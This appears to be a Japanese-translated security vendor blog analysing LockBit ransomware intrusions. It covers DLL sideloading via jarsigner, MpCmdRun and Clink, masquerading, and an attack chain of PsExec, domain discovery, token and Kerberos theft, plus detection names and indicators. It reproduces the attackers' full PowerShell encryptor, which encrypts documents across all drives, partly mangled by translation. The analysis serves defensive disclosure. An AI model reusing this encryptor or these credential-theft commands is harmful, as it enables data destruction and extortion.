LockBit の正体を暴く:DLL サイドローディングと偽装戦術の徹底分析

ステルス性の高い TTP により、ランサムウェア攻撃者は気付かれずに攻撃を続行できます。

LockBitランサムウェアを展開する攻撃者は、検知を回避し、その効果を最大化するために、戦術、手法、手順(TTP)を絶えず進化させてきました。彼らの洗練された武器の中でも、悪意のある活動を隠蔽する上で特に効果的な2つの手法、DLLサイドローディングとマスカレードが挙げられます。このブログ記事では、 LockBitを展開する攻撃者がこれらの手法をどのように活用して永続性を確立し、正規のシステムプロセスに紛れ込むのかを詳しく解説します。

このブログでは、 LockBitランサムウェア攻撃で使用される手法について具体的に説明していますが、他の悪意のあるペイロードを展開する攻撃者も同様の手法を使用しています。

DLLサイドローディング:信頼を悪用して悪意ある利益を得る

DLLサイドローディングは、正規のアプリケーションを騙して正規のダイナミックリンクライブラリ(DLL)ではなく悪意のあるダイナミックリンクライブラリ(DLL)をロードさせる、ステルス性の高い攻撃手法です。これは、正規のアプリケーションが安全でない場所からDLLをロードしようとした場合や、悪意のあるDLLが正規のDLLと同じ名前でありながら、オペレーティングシステムが先に検索したディレクトリに配置されている場合などによく発生します。

LockBitは、DLLサイドローディングを利用してペイロードを実行することが確認されています。そのプロセスを簡略化して説明します。

  • ローダーとしての正当なアプリケーション: LockBitは、悪意のあるDLLを正規のデジタル署名付きアプリケーションにバンドルすることがよくあります。このアプリケーションが実行されると、その機能に必要な特定のDLLを読み込もうとします。
  • 悪意のある DLL の配置: LockBitの脅威アクターは、悪意のある DLL (多くの場合、正規の DLL と同じファイル名) を、正規の DLL の実際の場所よりも前に正規のアプリケーションによって検索されるディレクトリに配置します。
  • 悪意のあるコードの実行:正当なアプリケーションが起動されると、悪意のある DLL が誤って読み込まれて実行され、ランサムウェアが信頼できるプログラムを装って暗号化プロセスやその他の不正なアクティビティを開始できるようになります。

この手法は、正当なアプリケーションに寄せられた信頼を活用し、従来のセキュリティ ソリューションが正当なアクティビティと悪意のあるアクティビティを区別することを困難にするため、特に効果的です。

偽装:合法的なプロセスに紛れ込む

マスカレードとは、悪意のあるファイルやプロセスを正規のシステムファイルやアプリケーションに見せかける手法を指します。LockBitの攻撃者は、様々なマスカレード戦術を用いて検出を回避し、侵入したシステム上での持続性を維持します。

LockBit攻撃で観察される一般的な偽装手法には次のものがあります:

  • 悪意のあるファイルの名前変更:脅威アクターは、ランサムウェアの実行ファイルまたは関連ファイルの名前を、一般的なシステムファイル名(例:svchost.exe、explorer.exe、cmd.exe)に変更します。これにより、ユーザーや一部のセキュリティツールでさえ、正規のシステムプロセスと区別することが困難になります。
  • プロセス名の偽装: LockBitは、プロセス名を操作して、システム上で実行されている正規のサービスやアプリケーションであるかのように見せかけようとする場合もあります。これは、正規のプロセスにコードを挿入したり、特定のAPIを使用してプロセス情報を改ざんしたりすることで実現できます。
  • 正規のアイコンの使用: LockBitのサンプルでは、偽装をさらに強化するために、正規の Windows アプリケーションと同じアイコンを使用していることが判明しており、悪意のあるファイルは一般の観察者にはそれほど疑わしく見えません。
  • 正当なディレクトリの活用:悪意のあるファイルは、C:\Windows\System32 や C:\ProgramData など、正当なシステム ファイルでよく使用されるディレクトリに配置されることが多く、さらに偽装に役立ちます。

最近のLockBitの事例では、攻撃者が、信頼できるアプリケーションと、正規の名前に偽装した悪意のあるDLLを同じディレクトリに配置することで悪用するケースが確認されています。この手法はDLLサイドローディングを利用しており、正規のアプリケーションが意図せず悪意のあるDLLをロードしてしまうというものです。例としては、以下のようなものが挙げられます。

  • Jarsigner.exe と jli.dll は
    どちらも Java プラットフォームの一部です。Jarsigner.exe は当然のことながら jli.dll をロードします。今回のケースでは、攻撃者は正規の jarsigner.exe と悪意のある jli.dll(正しい名前に偽装)を同じフォルダに配置していました。jarsigner.exe が実行されると、悪意のある jli.dll がロードされ、これがペイロード実行のためのローダーとして機能しました。
     
  • MpCmdRun.exe と mpclient.dllこれらのコンポーネントはWindows Defenderに属しています。攻撃者は、名前を変更した MpCmdRun.exe(< 
    company_domain_name >.exeを装う)と悪意のある mpclient.dll をドロップしました。< company_domain_name >.exe が実行されると、 LockBitランサムウェアのペイロードを含む mpclient.dll が読み込まれ、ファイルの暗号化が開始されました。
     
  • Clink_x86.exe と clink_dll_x86.dll
    は Clink ツールの一部で、cmd.exe と統合することで、独自のReadlineベースの機能を使用してコマンドライン入力を強化します。攻撃者は、名前を変更した Clink_x86.exe(これも < company_domain_name >.exe を装っています)を、悪意のある clink_dll_x86.dll と共にドロップしました。実行されると、< company_domain_name >.exe は悪意のある DLL clink_dll_x86.dll を読み込み、 LockBitランサムウェアのペイロードを起動してファイルの暗号化を開始します。

LockBit攻撃者が攻撃チェーンのさまざまな段階でこれらの手法をどのように活用しているかを詳しく見ていきます。

攻撃チェーン:初期アクセス

最近のLockBit攻撃は、攻撃者がMeshAgentや TeamViewer などのよく知られたリモート デスクトップ ツールを使用してマシンにアクセスすることから始まりました。攻撃者がリモート マシンにアクセスすると、ファイルが直接アップロードされ、実行されます。

攻撃チェーン:権限昇格

NSSM: NSSMは、リモートアクセス型トロイの木馬(RAT)をサービスとして実行するために使用されました。NSSMは、任意の通常のアプリケーションをWindowsサービスとして起動できるユーティリティです。NSSMはRAT用のサービスを作成し、 edge.exe.exeという名前を付けて起動しました。また、このRATの名前がo.exeに変更されたことも確認されています。

PsExec : PsExecは「-s」パラメータを使用してSYSTEMユーザーとしてcmdを実行するために使用されました。

PsExec64.exe -s - i コマンド

攻撃チェーン:発見

Net.exe、nltest.exe、query.exe を使用して、ドメイン ユーザー、ドメイン グループ、およびグループ権限に関する詳細を取得しました。

net user <ユーザー名>

net group "ドメインコンピュータ" /do

nltest /ドメイン信頼

クエリユーザー

攻撃チェーン:認証情報の盗難

TokenUtils.exe は、すべてのユーザーからトークンを盗み出し、それらのユーザートークンを使用して任意のアプリケーションを起動するために使用されました。このケースでは、攻撃者は「NT AUTHORITY\SYSTEM」ユーザートークンを使用してwhoamiと cmd.exe を実行しました。

TokenUtils.exeリストトークン

TokenUtils.exe 実行 -u “NT AUTHORITY\SYSTEM” -e whoami -c

TokenUtils.exe 実行 -u “NT AUTHORITY\SYSTEM” -e cmd.exe -c

Sd1.exe は Kerberos チケットを盗むためにも使用されました。

Sd1 <サブドメイン>.<ドメイン>.local <ドメイン>.local krbtgt

Sd1 <サブドメイン>.<ドメイン>.local <ドメイン> <ドメイン>\<ドメインユーザー>

図1. 最近のLockBit攻撃チェーン
図1. 最近のLockBit攻撃チェーン

攻撃チェーン:横方向の移動

グループポリシーを利用してマシンにペイロードをドロップし、ファイルの実行を開始しました。ランサムウェアペイロード(DLLおよびEXE)、DLLサイドローディング用の信頼済みファイル、PowerShellスクリプトなど、複数のファイルがドロップされました。

攻撃チェーン:インパクト

攻撃者は、悪意のある難読化された PowerShell コマンドも実行し、特定のファイルタイプを暗号化しました。

関数GER($n) {-join (1..$n|%{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+[]{}|;:',.<>?`~"[(Get-Random -Maximum 74)]})}関数err($ pl,$sf ){$ rsa =New- Object System.Security.Cryptography.RSACryptoServiceProvider;$rsa.FromXmlString($sf);$PB=[Text.Encoding]::UTF8.GetBytes($pl);$rsa.Encrypt($PB,$false)} 関数gg($path) {$ ke = GER(32);$ ig =GER(16);$sf = '<RSAキー値><モジュラス>lo233NH3Nv8AgTnugGImrUa13XuzHYyGSkgsgLrvz0y7MYix+U1eIYdF7BarhqKJXT1HZcijWzdz 
2BzdZ1uvoSr9/41CMCAdkV1ISWuzdnQ2LLGdP1FaEvFls+p8P/hlBJd+D6WoFceRZ0QzRfj0qikaXT89KSZlJFrZg6LeojGvorzw7UVNwR+uXvBWKx+Ez4hNmxa2cLXyhmHA4QrUZ/xsG1u0j9Fk6Mqc4q6Vfb1 x9NHR9W+caJbRs1RQENAkY2TqIRVjS5qIInB57gHxbuBp6WbBmtSJUJHnVqDu77U0BD80IYL3ggzAdazWoBarX81ZIRjZPb6+Ehmc/FL8+Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'; $ eec =err -pl $ ke +$ ig -sf $sf;$eee=[System.Convert]::ToBase64String($eec);$key=[System.Text.Encoding]::UTF8.GetBytes($ke);$iv=[System.Text.Encoding]::UTF8.GetBytes($ig);try{$files=gci $path -Recurse -Include *.pdf,*.txt, *.doc, *.docx, *. odt 、*.rtf、*.md、*. csv、*. tsv 、*.jpg、*.jpeg、*.tiff、*.mp3 、*. xls 、*. xlsx、*. ods 、*.ppt、*.pptx、*. odp 、*. py 、*.java 、*. cpp 、*.c、*.html、*. css 、*. js 、*. php 、*.swift、*. kotlin 、*.go、*. rb 、*. sh 、*. sql 、*. db 、*. sqlite 、*.sqlite3、*. mdb 、*. sql 、*.zip、*. rar 、*.7z、*.tar、*. gz 、*.bz2、*.iso、*.torrent、*. ini 、*. json 、*.xml、*.log、*. bak 、*. cfg 、*. psd 、*. vmdk | -Expand FullName; foreach ($file in $files) { try {EFI $file $key $iv $ eee } catch{}}} catch {Write-Host $_ }} function EFI($ ifi 、$key、$iv、$ aT ) {if($ ifi.EndsWith (". xlockxlock ", [ System.StringComparison ]:: OrdinalIgnoreCase )) {return};$ aes = [ System.Security.Cryptography.Aes ]::Create();$ aes.KeySize = 256;$ aes.Key =$key;$ aes.IV =$ iv;try {$ yy =New-Object System.IO.FileStream ($ ifi 、[ System.IO.FileMode ]::Open、[ System.IO.FileAccess ]:: ReadWrite 、[ System.IO.FileShare ]::None); $xx=$ aes.CreateEncryptor ($ aes.Key , $ aes.IV ); $mm = New-Object System.Security.Cryptography.CryptoStream ($ yy , $xx, [ System.Security.Cryptography.CryptoStreamMode ]::Write); $ yy.Seek (0, [ System.IO.SeekOrigin ]::Begin) | Out-Null; $ jj = New-Object byte[]($ yy.Length ); $ yy.Read ($ jj , 0, $ jj.Length ) | Out-Null; $ yy.Seek (0, [ System.IO.SeekOrigin ]::Begin) | Out-Null; $ mm.Write ($ jj , 0, $ jj.Length ); $ mm.FlushFinalBlock (); $se = 1 } catch { 書き込みエラー $_ } finally {if ($mm) { $ mm.Dispose () } if ($ yy ) { $ yy.Dispose () } }try {$kk = [ System.Text.Encoding ]::UTF8.GetBytes($ aT );$bb = New-Object System.IO.FileStream($ifi,[System.IO.FileMode]::Append,[System.IO.FileAccess]::Write,[System.IO.FileShare]::None);if ($se){$ bb.Write ($kk, 0, $ kk.Length )}} catch {書き込みエラー $_ } finally {if ($bb) { $ bb.Dispose ();if ($se){ren $ ifi - NewName $ ifi ". xlockxlock ";}}}};$vg = gdr -PS FileSystem | select -Expand Root;foreach ($II in $vg) {gg -path "$II"}:関数GER($n) {-join (1..$n|%{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@ #$%^&*()-_=+[]{}|;:',.<>?`~"[(Get-Random -Maximum 74)]})}function err($ pl,$sf ){$ rsa =New-Object System.Security.Cryptography.RSACryptoServiceProvider;$rsa.FromXmlString($sf);$PB=[Text.Encoding]::UTF8.GetBytes($pl);$rsa.Encrypt($PB,$false)} function gg($path) {$ ke = GER(32);$ ig =GER(16);$sf = '<RSAKeyValue><モジュラス>lo233NH3Nv8AgTnugGImrUa13XuzHYyGSkgsgLrvz0y7MYix+U1eI 
YdF7BarhqKJXT1HZcijWzdz2BzdZ1uvoSr9/41CMCAdkV1ISWuzdnQ2LLGdP1FaEvFls+p8P/hlBJd+D6WoFc eRZ0QzRfj0qikaXT89KSZlJFrZg6LeojGvorzw7UVNwR+uXvBWKx+Ez4hNmxa2cLXyhmHA4QrUZ/xsG1u0j9Fk 6Mqc4q6Vfb1x9NHR9W+caJbRs1RQENAkY2TqIRVjS5qIInB57gHxbuBp6WbBmtSJUJHnVqDu77U0BD80IYL3ggzAdazWoBarX81ZIRjZPb6+Ehmc/FL8+Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'; $ eec =err -pl $ ke +$ ig -sf $sf;$eee=[System.Convert]::ToBase64String($eec);$key=[System.Text.Encoding]::UTF8.GetBytes($ke);$iv=[System.Text.Encoding]::UTF8.GetBytes($ig);try{$files=gci $path -

 

また、前述のように、暗号化には DLL サイドローディングが使用されており、いくつかのランサムウェア実行可能ファイルをドロップして直接実行することも行われました。

図2. 最近のLockBit攻撃チェーン
図2. 最近のLockBit攻撃チェーン

これらの TTP は 1 人の被害者をターゲットにした特定のキャンペーンで確認されましたが、同様の TTP は将来の攻撃でLockBitやその他の悪意のあるペイロードを展開するために簡単に使用される可能性があります。

LockBitランサムウェア・アズ・ア・サービス(RaaS)は、著名なサイバー犯罪グループであるSyrphidによって運営されていました。米国連邦捜査局(FBI)は、このグループが2019年に活動を開始して以来、被害者から最大5億ドルを脅し取ったと見ています。しかし、Syrphidは2024年に2つの法執行機関による捜査で阻止され、グループの首謀者とされるディミトリー・ホロシェフ(別名LockBitSupp )が米国で起訴されました。その後、 LockBit 3.0のビルダーも流出しました。これは、このランサムウェアがもはや元の開発者の管理下にないため、あらゆる脅威アクターによって実行される可能性があることを意味します。

保護/検出

Symantec EDR インシデント AI サマリー

LockBit の正体を暴く:DLL サイドローディングと偽装戦術の徹底分析
LockBit の正体を暴く:DLL サイドローディングと偽装戦術の徹底分析
LockBit の正体を暴く:DLL サイドローディングと偽装戦術の徹底分析

Carbon Black EDRアラート

以下のアラートは、ランサムウェアのアクティビティに関して Carbon Black EDR で生成されました。

LockBit の正体を暴く:DLL サイドローディングと偽装戦術の徹底分析

ファイルベースの保護

  • ランサム.LockBit
  • Heur.AdvML.B !100
  • Heur.AdvML.C
  • Trojan.Gen.9
  • トロイの木馬.Gen.MBT
  • PUA.Gen.2
  • ランサム.ブラックマター!gm 1
  • トロイの木馬
  • ハックツール.Gen

行動ベースの保護

  • SONAR.ランサムウェア!g 3
  • SONAR.ランサムウェア!g 1
  • SONAR.RansomGen!gen 4
  • SONAR.SuspLaunch!g 559
  • AGR.終了! 2

適応型保護

  • ACM.Psxec- Lnch!g 1 - PSEXEC の起動
  • ACM.Psxsv- Net!g 1 - PSEXEC ネットコマンド実行
  • ACM.Psxsv- Quser!g 1 - Quserコマンドを実行するPSEXEC
  • ACM.Psxsv- Untrst!g 1 - PSEXEC が信頼できないプロセスを実行しています
  • ACM.Untrst- RLsass!g 1 - 信頼できないプロセスが LSASS にアクセスしています

ネットワークベースの保護

  • 32939 - 監査: TeamViewer リモートアクセスアクティビティ
  • 32940 - 監査: TeamViewer リモートアクセスアクティビティ 2
  • 12393 -情報: MeshAgentアクティビティ
  • C&C WebPulse分類:
    • カテゴリー: 悪意のあるソース/マルネット( 43)
    • リスクレベル:9(悪意の証拠増加)

カーボンブラック保護

  • プロセスnltest.exeは、ウォッチリスト「Carbon Black Advanced Threats」のレポート「Discovery - NLTest Domain Trust Enumeration」によって検出されました。
  • ウォッチリスト「AMSI Threat Intelligence」のレポート「Discovery - AMSI - AntiVirus Fingerprinting」によって検出されました。
  • 既知のウイルスが検出されました
  • ファイル c:\users\test\appdata\roaming\mpclient.dll で既知のウイルスが検出されました
  • 既知のウイルス (マルウェア: Heur.AdvML.B !100) がファイル c:\users\test\appdata\roaming\clink_dll_x86.dll で検出されました
  • アプリケーション explorer.exe がデバイスに既知のウイルスをドロップしました
  • アプリケーション<domain>.exeは、ユーザーデータファイルの拡張子をdocからx2anylockに変更しました。この手法は、ランサムウェア攻撃でよく使用されます。

侵害の兆候

ファイルインジケーター

f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97 - Nssm.exe

5ca8e1d001a2c3800afce017424ca471f3cba41f9089791074a9cb7591956430 - Tokenutils.exe

0201a6dbe62d35b81d7cd7d7a731612458644b5e3b1abe414b0ea86d3266ab03 - sd1.exe

1cd644b750884906b707419c8f40598c04f1402e4e93cbf4a33f3254846dc870 - <ドメイン>.exe

(偽装された MpCmdRun.exe)

edcf76600cd11ef7d6a5c319087041abc604e571239fe2dae4bca83688821a3a - mpclient.dll

011b31d7e12a2403507a71deb33335d0e81f626d08ff68575a298edac45df4cb - <ドメイン>access.exe

(マスカレードされたclink_x86.exe)

4147589aa11732438751c2ecf3079fb94fa478a01ac4f08d024fb55f7ffb52f3 - clink_dll_x86.dll

10f1a789e515fdaf9c04e56b8a5330cfb1995825949e6db8c9eaba4ea9914c97 - jarsigner.exe

086567b46fca2a27d404d9b61bdb482394e1591dc13f1302b813bb2ddf5e54cf - jli.dll

6285d32a9491a0084da85a384a11e15e203badf67b1deed54155f02b7338b108. - nxc.exe

785e5aaecd9430451f4b0bad637658e6afeea1e722b3d0dd674cb6a11f4ce286 - encth.exe、dwa.exe

24480dbe306597da1ba393b6e30d542673066f98826cc07ac4b9033137f37dbf - o.exe、edge.exe.exe

 

ネットワーク指標

msupdate [.] updatemicfosoft [.]com

You might also enjoy

Explore Upcoming Events

Find experts in the wild

See what's next